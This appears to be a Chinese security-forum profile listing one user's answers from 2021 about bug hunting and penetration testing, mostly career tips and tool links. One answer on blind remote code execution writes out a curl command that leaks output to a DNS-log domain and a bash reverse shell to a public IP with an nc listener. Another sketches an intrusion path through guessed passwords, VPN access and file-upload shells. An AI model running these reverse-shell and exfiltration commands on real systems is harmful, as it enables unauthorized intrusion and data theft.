【2021BCS×补天 参与话题讨论赢三倍金币】您最擅长挖什么类型的...

从收集目标优秀员工姓名、工号等有针对性的用户，到办公系统的易猜解口令，而后通过抓包分析发现使用的底层vpn，再到vpn进入DMZ区，接着反手一个文件上传，进而继续深入

回答于 2021-08-06 10:56

求一张内网渗透的学习框架图(域内技术等)以及技术栈学习思路 已采纳

回答于 2021-08-02 11:56

mssql除了xpcmdshell还有哪些方式拿shell

可以看一下这篇文章：https://blog.csdn.net/qq_36374896/article/details/84112242

回答于 2021-07-30 13:56

作为一名只挖到过公益的中危漏洞小菜鸟，如何突破瓶颈提高技术

个人认为，可以先不急着为了挖漏洞而挖漏洞。可以静下心来，从代码层面跟一下漏洞，知其然--知其所以然。这种路可能会走的更远，更能突破壁垒。

回答于 2021-07-30 13:55

遇到没有回显的rce如何处理（dnslog除外）

方法1.使用cp 命令cp flag.php 1.txt然后访问（该方法简单，但是可能禁止使用cp命令）方法2.DNSLOG获取回显cmd=curl `命令`.域名方法3.反弹shell自己公网服务器nc -vv -lp 8888目标服务器：cmd=bash+-i+>&+/dev/tcp/47.95.206.199/8888+0>&1方法4.使用nc自己公网服务器nc -ulp 8888目标服务器:cmd=nc -u 47.9...

回答于 2021-07-30 11:00

盲打xss，打到管理账号密码，后台地址在内网，怎么样才能登录？...

这种在内网的情况可以试试beef+xss

回答于 2021-07-29 13:43

7月27日-7月28日【2021年补天白帽大会赠票问答】2021补天白帽大...

PS5，唉呀妈呀，真香！PS4也行，哈哈，支持补天

回答于 2021-07-28 17:47

任意文件上传需要getshell执行命令才有危害吗？

需要确认无法访问显示什么？有可能路径不对、也有可能被杀了。如果确实找不到路径、或者找到路径无法访问，那就是没什么危害了吧。可以讨论一下

回答于 2021-07-28 17:45

后台地址爆破不出来

推荐个工具：快速在网站的js文件中提取URLhttps://github.com/Threezh1/JSFinder帮助分析隐藏接口往往有意想不到的收获

回答于 2021-07-26 15:20

挖洞白帽子、CTFer、培训讲师、安全研究员，你最想从事哪项工作...

安全研究员（兼职白帽子）---->安全运营----->安全架构师----->安全总监

回答于 2021-06-29 20:59